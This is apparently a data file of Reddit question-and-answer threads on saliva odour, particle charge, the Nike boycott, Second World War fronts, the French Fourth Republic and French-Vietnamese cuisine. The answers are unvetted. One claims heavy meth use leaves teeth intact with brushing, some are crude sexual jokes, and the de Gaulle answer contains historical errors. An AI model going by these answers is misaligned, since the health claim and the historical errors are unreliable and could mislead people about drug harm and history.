explain why you do this.\n", "The saliva in your mouth is always fresh. You constantly swallow the old stuff and make new stuff. If you stop making new saliva due to dry mouth, your breath gets nasty as fuck real quick. Nasty morning breath is caused when people sleep with their mouth open and their mouth drys out. \n\nMost people don't know this but meth-mouth is actually caused by dry mouth, not the meth. Dry mouth is a side effect of meth-amphetamine.  The lack of saliva causes germs to form which leads to tooth decay and gingivitis.\n\nYou can smoke all the meth you want and keep your nice teeth if you brush often and drink plenty of fluids to keep your mouth wet. \n\nIf you spit out saliva, the saliva begins to grow a lot of bacteria which is what makes it smell. If you swallow the saliva before the germs form, then your mouth stays fresh. Your mouth is basically a water fall cleaner for your teeth. Fresh water keeps the teeth clean by grabbing bacteria as it passes by.   ", "If my girlfriend is giving me oral pleasure and she vomits on my penis due to inconvenient gag reflexes, will she be able to taste her vomit, saliva, and my ejaculate simultaneously? Or will she have to wait for each one to evaporate so that the particulates that are left are isolated? ", "Nobody will ever see this but nobody has said the correct answer so here goes!\n\nOXYGEN! When spit is in our mouth it doesn't have the opportunity to \"breathe\" or air out, but as soon as you spit it out, there is a whole surface area of particles entering the air and then your nose. Our noses need this \"waftiness\" to work.\n\nThis is the same reason we slosh wine in a glass before smelling/tasting, we are oxygenating the liquid and making its taste/smell more prominent.", "If you lick or spit on somthing and it smells bad, you probably taste bad to someone kissing you.", "I think what happens is drying saliva kills bacteria in it (i think they actually pop), leaving their insides outside, so it's basically like ripping a human's intestines (poop coming out), and that's why it smells.", "because the person you're kissing doesn't have bad breath, only you.", "I guess people tend to shutdown their senses when they kiss to avoid disappointments and nausea\n", "What kind of reptile ass acid spit are you coughing up buddy?\n\nI don't think I've ever thought of my spit as smelling bad. ", "If it smells after it dries, then you have bad breath. It's normal to smell a little because of the bacteria in our mouths, but if it smells like death, then you need to practice better oral hygiene. Brushing and flossing helps but you also need to use a tongue scraper. Our tongues hold bacteria and plaque too, which can also cause bad breath. Using a tongue scraper regularly helps fight bad breath and also makes foods taste better because you are removing the layer of plaque and saliva.\n\nMy wife is a dental hygienist so I know quite a bit about oral hygiene.", "My saliva smells nice...\n\nLick your finger, rub it against the bottom of your nose/upper lip, and smell. Now tell me that doesn't have a peculiar but nice smell", "If you don't think a person's mouth can smell bad, you haven't woken up next to my girlfriend after a night of heavy beer-drinking (hopefully!)", "I suspect it has to do with the action of bacteria and/or oxidation on the saliva. one of saliva's actions is as a rinsing agent (besides containing enzymes which help break down food), cleaning bacteria off surfaces in the mouth. so, following that logic, saliva has bacteria which (I would assume) continue to replicate outside the mouth. \n[this article](_URL_0_) doesn't DIRECTLY address the question, but provides a little info about the bacterial environment in yo' mouf.", "When you go into to kiss someone you have what are called bonerteria that counteract any negative smelling odors.", "Most of the time I think the smell of asshole is really bad. Then there are the times I've got two inches of tongue in there.\n\nIn which case it seemed like a good idea at the time.", "Maybe it's just you that has the bad smelling spit.", "HAHA! Look, everybody! This guy kisses people! LOL ^sob"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://gizmodo.com/5946245/why-you-have-bad-breath-in-the-morning"], [], [], [], []]}
{"q_id": "1dhqc7", "title": "What is the source of fundamental electric charge in leptons and quarks?", "selftext": "*sips coffee", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dhqc7/what_is_the_source_of_fundamental_electric_charge/", "answers": {"a_id": ["c9qesy9", "c9qfkn7"], "score": [2, 17], "text": ["As far as physics is concerned, charge is an inherent property of fundamental particles.  It doesn't make sense to ask about a \"source\".", "The laws of physics are invariant (unchanged) under a transformation called U(1) gauge invariance.  To get this invariance, individual fields have to transform in well-defined ways under this transformation.  The way a field transforms tells you its electric charge.  We don't know why we have fields with the particular transformation properties they have."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9cxr4f", "title": "why are americans boycotting nike?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9cxr4f/eli5_why_are_americans_boycotting_nike/", "answers": {"a_id": ["e5dx0q8", "e5dx2vl", "e5dx4l5", "e5dx53z"], "score": [12, 7, 4, 3], "text": ["Racism. \n\nIf they cared about humanity they would have burned the shoes long ago due to the slavery and child labor Nike takes advantage of to produce shoes. ", "Nike made a deal with former football player Colin Kaepernick.\n\nIt's a huge controversy in America now about football players who are refusing to stand for the national anthem. Some see it as a valid form of protest against social injustices, some see it as disrespectful and traitorous.\n\nKaepernick is the man most often thought of as the person to start the not-standing-during-the-anthem thing.", "They signed an endorsement contract with Colin Kaepernick, and thereby support his right to peacefully protest. ", "Nike did an ad featuring a certain football player named Colin Kaepernick. Kaepernick has been controversial lately due to his protests of the national anthem.\n\nA lot of Americans don't like his protests, therefore they don't like him. So when Nike features him in an advertisement, they don't like Nike."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "217yxs", "title": "Why is D-Day always called the second front when the Italian campaign had been going on for a year at the time?", "selftext": "Just wondering because it seems like everyone ignores the Italian campaign when it was the second front. I know it wasn't as big and achieved lesser results, but it was the second front that the Soviets had wanted and did force the Germans to react (Battle of Kursk). Follow up, what was Stalin's opinion of Operation Husky/Avalanche?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/217yxs/why_is_dday_always_called_the_second_front_when/", "answers": {"a_id": ["cgaijoh", "cgajbck", "cgalplm", "cganhtx"], "score": [336, 73, 4, 9], "text": ["The Italian front could not put pressure on Germany the way an invasion of France could. The reason was the Alps. If you were am Allied general, planning for an invasion of Germany from Italy, you will quickly see only two even remotely realistic routes, going around either side of the Alps. The bigger problem is that both of these places are essentially choke points. It was not impossible, but very unlikely, and both the Germans and Western powers knew it.\n\nAs I'm sure you know already, the invasion of Italy prompted Hitler to withdraw from the Kursk offensive. While the Russians likely could not explicitly link the two, the effect on the eastern front was noticeable. However, Stalin was still not happy about it. He viewed it as stalling by the Western powers while Soviets were dying by the millions. ", "While it is true the Italian campaign is pretty much ignored nowadays,  the second front in the context of the time,  and as the Russians demanded it,  was a second front directly against Germany in Europe,  opposite the East front.  The Italian campaign was, at least initially, against another axis power -  Italy and seen more like a indirect underbelly attack,  like the campaigns in Africa.  Hence the France invasion is seen as the 'second front' in popular narrative. \n\nPs: for those interested in the Italian campaign I recommend Rick Atkinson - the day of battle.  Awesome book ", "A big reason why the Italian campaign was not considered the second front was because it was merely an extension of Operation Torch.\n\nIn my opinion Operation Torch was not a serious attempt to getting closer to ending the war. Churchill believed that it would allow the British to increase their influence on the Mediterranean region after the war. Roosevelt used it as a cheap way to win popularity points for the 1942 elections by engaging the Axis power in Europe even if it was largely against the lowly Italian army and a small detachment of Germans.\n\nThere was no foreseeable route from Rome to Berlin due to the Alps which limited the goals of the Italian campaign. Germany knew this and committed fewer troops to the defense of Italy. However, there still was an effect on the eastern front.\n\nI believe most would agree that the Mediterranean theater lengthened the war as it stretched the Allies out more than it did the Axis powers. The strain on Allied shipping was made worse by having to supply troops in the the Mediterranean. Those troops in the Mediterranean theater also could not be brought to bear in France, thus delaying D-Day.\n\nTo be certain, the Italian technically opened a second front on the European mainland, it was still not enough by the Soviets. They perceived (rightly so) that Stalingrad was the turning point in Europe which concluded 6 months before any western Allies stepped foot in Italy.\n\nThe Italian campaign did not divert enough German resources from the eastern front for the Soviet's liking which was used in their Cold War propaganda against the western Allies. Plus, with the advantages of hindsight, we know that the main western Ally offensive against Germany started in Normandy not Salerno.", "I had another question come to mind.  Italy was used as a base for bombing.  Did the US  &  Brits have well coordinated bombing campaigns in support of Russian ground troops?  Was the relationship with the Russians that close?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2ik1gx", "title": "How common was it to lock up an undesirable child?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ik1gx/how_common_was_it_to_lock_up_an_undesirable_child/", "answers": {"a_id": ["cl2wsom", "cl31lm8", "cl31o92"], "score": [52, 6, 21], "text": ["This question is fairly vague.  if you could add a time period / region of the world you could probably get better answers.", "Edit: Dangit, the post I was replying to got deleted =(\n\nGoing along with infanticide, Chinese history has interesting writings from ~~before BC (that is a weird phrase to use)~~ BCE about the topic. \n\n[Han Fei](_URL_0_) is a famous philosopher from ~250BC who did a good deal of writing about the role of law and government (by the aristocrats). \n\nWhile this, in itself, is interesting because of the logistical problems of enforcement in that era and gleaning an understanding about the practical nature of a totalitarian government, it is the comments and comparisons to infanticide used by Han Fei that are of immediate interest. \n\n > It was the custom in pre-Ch\u2019in China that the birth of a boy would be required and congratulated, but a new-born girl would be killed. The interpretation Han offered for this practice focused on [\u2026] the calculation of long-term interests. \n[source](_URL_1_)\n\nThere is a legitimate question of how biased Han Fei was though given that he was of the aristocratic class. How much of what he wrote was tinted by his class and actions? \n\nBut to present a case for the original question, the most common way to deal with unwanted children during this time/place looks to be death. \n\nEdit 1: Another example of Han Fei using infanticide as an analogy for the need for a totalitarian goverment:\n > Han Fei used infanticide of baby daughters to show that \u201ceven parents treat their offspring with calculation of gain\u201d and concluded that humaneness, love and benevolence are useless. To rectify the conduct of a delinquent youth, parental love, neighborly advice, and teachers\u2019 persuasion are no match for intimidation back by penal punishment. \n[source](_URL_1_)", "I am attempting to look up some notes from when I studied some of this... oh gosh 10-12 years ago. I did find an article that highlights some of what I do remember.   \n\n_URL_0_  \n\nPart of my background is in intercultural studies. A part of that was studying \"folk religions\" and understanding the spiritual undertones of why a society or group/tribe makes decisions. See the case of how certain areas are currently dealing with Ebola and you can see the importance of understanding the long history and spirituality of a community before offering aid and help.  \n\nBut... take a community. And add a newborn child with defects of some kind. We have a lot more definitions and understandings now. But the whole gamut of birth defects causes a reaction in the community.  \n\nFor many communities an illness or handicap means some form of sin, immorality, or karmic expression. What did you do to cause your child to be born that way?  \n\nDifferent cultures/communities responded differently. If i could locate my sources I could be much more exact but for example- locking someone up in the attic. there are stories of this type of thing happening. But I was actually quite encouraged by how many cultures across history took care of the sick or those born with defects in a community focused wholistic way.  \n\nOf course, there are rituals in some areas of East Africa where spiritualist and medicine men would try to cast out demons and evil spirits within. (the US has a decent history of this as well) There are some areas where the mindset is much more of this person is a part of our community. We did something (or their parents did) to cause this. So our penance is to take care of this child as a community. Lastly, there are stories throughout history of children born resembling gods in India that meant the child received much more care, food, and wealth than they would otherwise.  \n\nSo you have different communities at different times handling the mentally handicapped as a community (not likely they were locked up), as individual family units, and as wards of the state. As a community, they may use ritual, spirituality, and medicinal properties to push out whatever 'bad' was inside. or they may have taken care of the needs of the community member as a collective. Sometimes, the child was even worshipped.   \n\nIt is a very interesting topic throughout history. How we treat the outsiders is fascinating. Even those that are within our own tribe. Even biblical history shows some distinct differences. Lepers is the common example- but in spite of spiritual rules around being clean or unclean a society as a whole still had a responsibility to meet the needs of those within. (almsgiving, gleaning, and a few other practices). Fascinating stuff. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Han_Fei", "http://books.google.com/books?id=aXlwd8H-26UC&amp;pg=PA48&amp;lpg=PA48&amp;dq=Han+Fei+infanticide&amp;source=bl&amp;ots=Y-OOE96TpK&amp;sig=_rMcagNeNv-TQApKYFOsmaT53dQ&amp;hl=en&amp;sa=X&amp;ei=QzA0VK72FNG0yASRzoCYCw&amp;ved=0CCIQ6AEwAQ#v=onepage&amp;q=Han%20Fei%20infanticide&amp;f=false"], ["http://www.studentpulse.com/articles/283/the-history-of-mental-illness-from-skull-drills-to-happy-pills"]]}
{"q_id": "2ugdb6", "title": "Has there ever been a state/place that was created and governed like ISIS'?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ugdb6/has_there_ever_been_a_stateplace_that_was_created/", "answers": {"a_id": ["co8bv58"], "score": [2], "text": ["This submission has been removed because it is [soapboxing](_URL_0_.), [promotion of a political agenda, or moralizing](_URL_1_).  We don't allow content that does these things because they are detrimental to unbiased and academic discussion of history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22soapboxing.22_or_loaded_questions", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_political_agendas_or_moralising"]]}
{"q_id": "5kay7p", "title": "i just had a full length dream about an insignificant person from school i talked to maybe once. why is this? it's been 12 years", "selftext": "thoudands of students at that school alone, went to maybe 10 schools in my life. Yet this one person, my brain selects? I'm very confused as to why this is", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kay7p/eli5_i_just_had_a_full_length_dream_about_an/", "answers": {"a_id": ["dbmvp2w"], "score": [7], "text": ["I'm not an expert in Psychology, but this can be answered with basic fundamentals. We believe dreams are your brains way of catagorizing and storing memories. This could be anything throughout your life. Think of your dreams as a collage of memories. Take someone you met 20 years ago, add that to a volcano documentary you watched last Christmas, finally sprinkle the Avengers saving New York. Your dream is now playing the floor is lava with that childhood friend while the Avengers are insulting your jumping skills. Just your brain going through these memories and throwing them in your subconscious. Our brains process hundreds or some believe thousands of memories (dreams) everytime we sleep. What you remember dreaming when you wake up can be entirely random.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8cozye", "title": "Why did the French 4th Republic Collapse? Wikipedia says that there was a threat of a military coup in Paris that was averted when De Gaulle was invited to form a government. Is this broadly correct? How did a Western (super?)power basically have to surrender to a coup d'etat as late as the 1950s?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8cozye/why_did_the_french_4th_republic_collapse/", "answers": {"a_id": ["dxgsf1h"], "score": [2231], "text": ["The answer is quite simple: National humiliation.\n\nFrance after World War 2 was not that well off at all. They had been steamrolled by the Germans in 1940, diminishing their global prestige, then they had taken significant war damages in the subsequent Allied military and French partisan campaigns and, to top it all off, the French colonial empire had not been sitting on its butt all that time waiting for the glorious Europeans to return and govern them once again - especially the Japanese takeover in Indochina had invoked quite a violent reaction from the locals, with one particular rebel leader increasingly rising to prominence; you might have heard of him: Ho Chi Minh.\n\nSo, as you might guess, France got itself involved in a bloody colonial war against the Vietnamese. Not a great idea.\n\nFrance very much realized that if they lost to the independence movement in Vietnam and Indochina as a whole, they would next have to fear breakaway movements in other possessions, especially in Africa.\n\nSo, all France needed to do at this point was not to lose the war against the Vietnamese.\n\nAnd then they lost the war against the Vietnamese. The First Indochina War, lasting from late 1946 to mid 1954, ended in a four-way partition of Indochina - Cambodia, Laos and North and South Vietnam all gained independence from France as part of the Geneva Conference of 1954.\n\nOf course, the soon-to-break-out conflict between the two Vietnamese states would get the United States into the war and inflict on the Americans the only clear cut total defeat in U.S. history - in a war that we now think of when speaking of the \"Vietnam War\".\n\nBut the U.S. is not our focus right now, so let's stick with France. Let's explore this \"Fourth Republic\" that you already alluded to in your question.\n\nNow, to the reader who is not as up to speed in terms of French political history: France has had one of the most government-switching internal political histories in Europe. We count five republics, two kingdoms, two empires, one fascistic puppet state and one provisional government since the 1780s.\n\nThe republics that I mentioned are all quite different from each other, and France currently is in the Fifth Republic, which was established in 1958 and has been relatively successful since then. The division between the Fourth and the Fifth Republics is drawn at the new national constitution that France adopted in 1958. Note that the constitution can of course still be changed and France has done so at least 18 times since 1958 - but a complete overhaul it has not seen, which is why the current Macron government is just as much part of the Fifth Republic as its first President, De Gaulle. OP also mentioned him of course - all in due time.\n\nSo the Fourth Republic. It came into being when the constitution of the country was redrafted in 1946, thus succeeding the two-year provisional government.\n\nNow, the Fourth Republic kind of fell into the Weimar Republic trap of utterly divided parliaments, making government formation rather difficult. One of those squabblers was the PCF, the Parti communiste francais. And yes, \"communiste\" translates to exactly what you think it does. So, these communists were consistently among the strongest parties in the republic, getting between 20 and 30% of the vote in each of the legislative elections of 1945, June 1946, November 1946, 1951 and 1956. If that seems like a few too many elections to you, the French people at the time very much noticed as well. Political inability to form a government really sucks, but they have since passed on that curse to their Belgian neighbors thankfully.\n\nAnyway, back to big geostrategic history. So, France had gotten its butt kicked by some unruly farmers in Indochina - rather embarassing, as you might imagine. So, when in 1956, just two years later, Egyptian President Nasser decided to nationalize the Suez Canal, France saw its chance. You see, we associate the canal with Britain nowadays because they held the majority of the stocks and were also its protectors, but initially, the canal had been built by the French. After the two countries actually became friends in the early 1900s, they had a huge interest in keeping the canal going - not only did it connect Britain to the rest of its empire, but it also provided France with a quick route to Djibouti, Polynesia and previously Indochina.\n\nSo, the Suez Canal had been held in an international mandate after the end of the British rule in Egypt and after the end of the Egyptian monarchy. So when Nasser invaded, France and Britain were rather annoyed and intervened, paratroopers and all. Their third partner was Israel, which provided the ground support with infantry and tanks.\n\nThe preparations for the plan had been in absolute secret and no one told the Americans, so when President Eisenhower found out, he was rather angry, and the United States became one of only two major international voices to oppose and condemn the move. The other? The Soviet Union.\n\nIn your question, you also throw into the room if France was ever considered a superpower. Under Napoleon maybe, but not in the Fourth Republic. Immediately after World War II, there was a three-superpower model with the US, the UK and the USSR. After the Suez Crisis, the UK would for good lose its claim to this triumvirate and France lost all its hope to join it - because after American political intervention, the British immediately chickened out, as the occupation was already unpopular at home. Israel, deeming the situation pointless to pursue, also fell back to home court - after all, they were there to help the British and the French, and their justification vanished with the British retreat.\n\nFrance, on its own and abandoned in enemy territory, following suit a very bitter nation.\n\nThe Suez Crisis had political implications that many readers of history don't realize: Britain and France no longer were the Sykes-Picot powers dividing the Middle East between them. They had been told off by their own ally - that ally, the United States, had at the same time proven that it was definitely more powerful than the old European powers. And Egypt? They kept the canal and they also kept playing the US and USSR off each other to their own benefit. Nasser was a clever guy like that. It would no longer be France and Britain that would defend western interests in the Middle East - it would be America.\n\nBack to France.\n\nHumiliated again. First the Nazis, then Ho Chi Minh, and now this. Whereas Britain and to a lesser extent Israel made it their goal to never again double cross American interests on the international stage - something that in Britain is called the \"special relationship\" - France answered the betrayal by both of her allies with a rejection of anything anglo-american. Also, the French were forever and ever sick and tired of their ineffective political system - it had taken 13 rounds to elect President Ren\u00e9 Coty in late 1953. So as you see, I skipped over many, many internal political crises and, you guessed it, even more squabbling.\n\nAnd you remember how I mentioned that a defeat in Indochina would result in the possibility of further colonial revolts? Well, from 1954 forward and increasingly escalating the late 1950s, the FLN rose up against French rule - the *Front de Lib\u00e9ration Nationale* fought for the independence of France's crown colony, Algeria. So dear was Algeria to France that they considered it part of mainland France, not a colony.\n\nFrance wanted a resurgence of the continental system, with a strong western Europe under French dominance under exclusion of Britain. France wanted peace and victory in Algeria. France wanted to never again be limited by angloamerican interests.\n\nAnd by France I mean Charles de Gaulle.\n\nWhich finally brings us to him. What a guy.\n\nAfter a coup in Algeria by French generals and a French-led toppling of Tunisia, independent since 1956, the Fourth Republic at last collapsed under the pressure to finally see political reform done.\n\nCharles de Gaulle then just announced from his private house that he was willing to form a government, in part due to the fact that France was now threatened by military mutiny with paratroopers actively disobeying their orders, relocating from Algeria to Corsica and threatening to invade the mainland. He had retreated from politics but he was the military favorite and popular at that, and President Coty threatened to resign if parliament didn't allow power to pass to De Gaulle to prevent civil war. Parliament, with the exception of PCF, complied. De Gaulle became Prime Minister of the Fourth Republic and drafted a new constitution while in office. This constitution was at last presented to the French voters and overwhelmingly accepted by referendum in on 28 September 1958.\n\nDe Gaulle's perhaps most significant contribution to French and European diplomacy and the balance of power was the end of the rivalry with Germany. He was connected in a deep friendship with West German chancellor Konrad Adenauer, who had voiced support for France even during the Suez Crisis. France threw out its angloamerican ties and chose to in the future team up with the Germans instead - something that would have been completely insane just 50 or even just 10 years prior. De Gaulle also personally prevented British accession to the various European economic agreements for quite some time - his personal anglophobia surely didn't help. \n\nNowadays, approval ratings of the Franco-German alliance are above 75% and often top out at over 90%, far ahead of each country's friendliness towards the US and UK. Europe's perhaps bloodiest rivalry turned into a friendship akin to that of Poland and Hungary. Rather impressive.\n\nIn the end, Charles de Gaulle perhaps failed to remake France into a superpower, but his decisive action was a big step towards the 1992 European Union - an economic bloc that few nations in the world can do without."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3tkwue", "title": "During the period of French Colonization of Indochina, what effect did the respective styles of cooking have on the other?", "selftext": "Did French cuisine come to influence local styles in the region? Did that influence endure in the post-Colonial period or was there backlash by the Communist regime? Likewise, did Southeast Asian cooking come to have enduring influence on any aspects of French cooking back 'home'?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3tkwue/during_the_period_of_french_colonization_of/", "answers": {"a_id": ["cx76yig", "cx9b31q"], "score": [52, 3], "text": ["Though it is a very trendy topic for food  &  travel blogs, French influence is certainly not dominant in Vietnamese cuisine (I don't have knowledge of Lao or Khmer cuisine). That would be China. Most people will know that the b\u00e1nh m\u00ec is a small baguette that came to prominence during the French period. There are however a variety of important food products and influences imported by France. Others were already around before colonization, but grew exponentially under French influence. Coffee is the best example. The 'caf\u00e9' culture is one food-beverage influence that remains very prominent in Vietnam. This influence is evident in the Vietnamese language. You can see some examples below of dishes and products whose names are influenced by France (some pronunciations in parentheses):\n\nsa l\u00e1t - salade - salad\n\nb\u00edt t\u1ebft - bifteck - beef steak\n\n\u1ed1p l\u1ebft - omlette - omelet\n\nd\u0103m b\u00f4ng (yam bomb) - jambon - ham\n\nx\u00fac x\u00edch - saucisse - sausages\n\nc\u00e0 ph\u00ea - caf\u00e9 - coffee\n\npa t\u00ea - p\u00e2t\u00e9\n\nc\u00e0 ri - curi - curry\n\nb\u01a1 (b-ugh)  - beurre - butter\n\nvang - vin - wine\n\nph\u00f3 m\u00e1t (faw ma) - fromage - cheese\n\nr\u00f4ti (row tee) - rotisserie\n\ns\u00f4 c\u00f4 la - chocolat\n\nbia - bierre - beer\n\ns\u1ed1t v\u00e0ng - bordelaise sauce\n\ns\u00fap l\u01a1 (choop lugh) - cho-fleur - cauliflower\n\nothers are items are identified as western (t\u00e2y) variants:\n\nkhoai t\u00e2y - western potatoes\n\nm\u0103ng t\u00e2y (\u2018western bambo shoots\u2019) - asparagus - asparagus\n\nh\u00e0nh t\u00e2y - western onions\n\n\nI don't want to get too much into specific dishes. It's a contentious topic and hard to really trace culinary lineages. (I'm not aware of any scholarly books or dissertations on the topic) One dish that most people believe is derived from France is b\u00e1nh x\u00e8o, which is very similar to the cr\u00eape or more specifically the galette. The b\u00e1nh x\u00e8o is also a pancake filled with various vegetables, meat, or seafood. Wine is also alive in Vietnam, still produced in the upland city of Dalat. But the growing popularity of wine is much less to do with a French legacy and more with a growing middle and upper class consumer base looking for a new experience.\n\n\nI have one unconventional influence. Baby formula. It's enormously popular in Vietnam. Not just for babies, but also milk based nutritional drinks for children. The large producers (eg. Mead Johnson) sponsor murals on the walls of most preschools today in big cities. I think in some part this is a colonial legacy. Nestl\u00e9, along with colonial officials and doctors, promoted baby formula as a healthier option due to malnutrition of mothers. You can see 1920s Nestl\u00e9 [advertisements](_URL_0_) from Vietnam. Of course, this is a larger trend in Asia, so it's not entirely due to some French legacy. Drive by your local baby formula/ powdered milk store in Vietnam in the evening, and its always packed.\n\n\nRegarding the influence that Indochina had on France, it was common for Europeans to take Vietnamese or Chinese back to Europe to work as their cooks. They were quite fond of their cooking. Besides that, many Vietnamese laborers working in France found work as cooks. This was particularly true during and after WWII when France conscripted tens of thousands of young men to work in the metropole. I don\u2019t know enough about French food nor its history to know if they were responsible for any lasting influence on the cuisine.\n\n\nThere is one undeniable influence. Take a look at this [picture](_URL_2_). Looks like somewhere is Asia, right? That's the Camargue in southern France, right next to Marseille and a couple hours away from Cannes. The French had tried to develop wet rice agriculture in this region, but never succeed. Only during WWII, when France sent Vietnamese workers skilled in rice agriculture to the metropole (ironically the French called them *Ouvriers Non Sp\u00e9cialis\u00e9s*) were they able to develop the region into a large rice producer. You can see [here](_URL_1_) one such Vietnamese working in the Camargue in 1943. So, while rice was already part of French cuisine, Indochina certainly had a role in developing the domestic rice market. However, most people living in the Camargue don't know the origin of their rice economy.\n\n\nI will have to check specifically on language policies in the Democratic Republic of Vietnam and then after 1976 in the Socialist Republic of Vietnam. But my guess is that these words would have been banned for some time publicly. The communist state eliminated many Sino-Vietnamese words (which was about 90% of academic language) from the vocabulary in an attempt to 'Vietnamize' Vietnamese. That policy has had a pernicious effect on the language. Though the French cuisine terms are still around.\n", "Though French cuisine is certainly not dominant in Indochina, it definitely left its mark as seen with Lich-Su's excellent response. The caf\u00e9 culture is most definitely a leftover, as are certain gastronomic terms and much of the bread making techniques adopted in Vietnam. The use of wheat, which continues to find its way into the baguettes used to make b\u00e1nh m\u00ec sandwiches actually came into Vietnam via large and complicated colonial networks as the French shipped not only their own wheat but actually had to purchase wheat abroad from Argentina, Australia, the US and Canada to keep bread as an accessible staple in Indochina. European style foods were perceived of as crucial for the French in order to maintain their distinct identity and the colonial hierarchy that they built. This same hierarchy, which was intimately tied to the concept of the \"mission civilizatrice\" rested on ideas of racist climatology as well which asserted that Indochinese peoples, being acclimatized to the tropics, were capable of withstanding high heats, something that becomes crucial in the context of the bakery. So early on, bakers take on local apprentices, first in Vietnam as the primary point of entry and later in Cambodia and Laos where they then train these locals in the trade. This is what leads to the significant remnants of French baking be it of bread or viennoiserie and of the use of wheat flour which was far less common pre-colonialism.  I'd say that that consumption of wheat and the baking techniques that accompanied it is one of the most substantial French culinary contributions (alongside what Lich-Su has already mentioned). As for notions of food, hierarchy and identity I could rant for eons so I'll stop here as it isn't directly tied to your question.\n\nIn the other direction we actually have an interesting movement of rice consumption to the metropole, though of course to maintain illusions of racial difference the French went to the effort of creating new ways to cook it. They actually hired chefs to come up with rice-based recipes which were then diffused to the public in an attempt to make rice French. I'd say that this is where the colonial ties can really be seen, whereby the French needed their bread in the colony to be made in the French style and to identify as French, the rice brought back to France was stripped of its Vietnamese identity. This ties into Lich-Su's point on the rice paddies which I hadn't heard about, I always assumed that the ponds of the Camargue were entirely for the collection of the region's famous fleur de sel, this provides a whole new angle of investigation to my research!\n\nTo return to the rice/wheat dynamic though, it is doubly interesting to see primary sources in the 1920s referring to government attempts to insert Indochinese rice flour into...wait for it...French bread in the metropole! It seems to have been a government idea at the time to boost the rice industry in Indochina all the while making France less dependent on wheat imports. As you may have guessed, that really did not fly with the French public and was even protested by the same French colonists in Indochina who stood to gain from it.\n\nAs regards the Communist Regime, that'soutside my research period so I know less than I'd like to about it and what I've heard certainly aligns itself with  Lich-Su's statement, there was likely a blackout of the terminology, how far this actually extended into cuisine and consumption of different dishes is something to be looked into. During the wars it was certainly more difficult to access the goods needed to make any hybrid foods that might have emerged. I'd be really interested in seeing how wheat factors into the war and postwar period. I mean when the  b\u00e1nh m\u00ec as we know it enters the mainstream where does the wheat in it come from? Northern China? Europe? Australia? America?\n\nLast but not least, it's always tough to look at points of entry for foods, as finding exact dates for when they started to be eaten can be nigh impossible. The issue with wine consumption and other French luxury goods is doubly problematic in a French colony as it can be hard to tell if they made it into popular consumption as a form of direct colonialism or if they came back later simply due to the cultural capital of French cuisine ie. did wine establish itself in Indochina because of the French colonizing influence directly or simply because middle class and elites all over the world now drink wine? We know that there were French attempts and sometimes successes with viticulture in Vietnam during colonialism, this makes a domestic grape wine industry possible to meet domestic demand. Lich-Su mentions Dalat, which is where one of the favoured French climatological stations was built. Aside from providing the French colonists with a climate which they could liken to home it also offered an area in which to grow fruits and vegetable normally found in Europe.  A study of the fluctuation in popularity/availability of grape wine in Vietnam would be pretty fantastic actually!\n\nSources: \nBarbisier. \u201cLes Dangers du Gouvernment P\u00e8re et M\u00e8re du peuple\u201d L\u2019\u00c9veil \u00c9conomique de l\u2019Indochine, Num\u00e9ro 558, Dimanche 26 F\u00e9vrier 1928. 4-5.\n\nGuy, Kolleen M. When Champagne Became French: Wine and the Making of a National Identity. Baltimore: Johns Hopkins University Press, 2003.\nH.C. \u201cM. Darles Rentre en France pour Vulgariser la Consomation du Riz\u201d L\u2019\u00c9veil \u00c9conomique de l\u2019Indochine, Num\u00e9ro 564, Dimanche 8 Avril 1928. 4-5.\n\nJennings, Eric T. Imperial Heights: Dalat and the Making and Undoing of French Indochina. Berkeley, Calif.; London: University of California Press, 2012, 73.\n\nJennings, Eric Thomas. Curing the Colonizers: Hydrotherapy, Climatology, and French Colonial Spas. Durham: Duke University Press, 2006.\n\nLe Courier Sa\u00efgonnais, \u201cFumez le Globe\u201d  L\u2019\u00c9veil \u00c9conomique de l\u2019Indochine, Num\u00e9ro 563, (Dimanche 1 Avril 1928.\n\nPeters, Erica J. Appetites and Aspirations in Vietnam: Food and Drink in the Long Nineteenth Century. Lanham, Md.: AltaMira Press, 2012.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.historicvietnam.com/wp-content/uploads/2014/05/Poster.jpg", "http://www.maisonvietnam.org/web/docs/autres/2011/LieuDInternement/travailleur.jpg", "http://www.carnets-voyage.com/escapade-camargue-riziere.jpg"], []]}
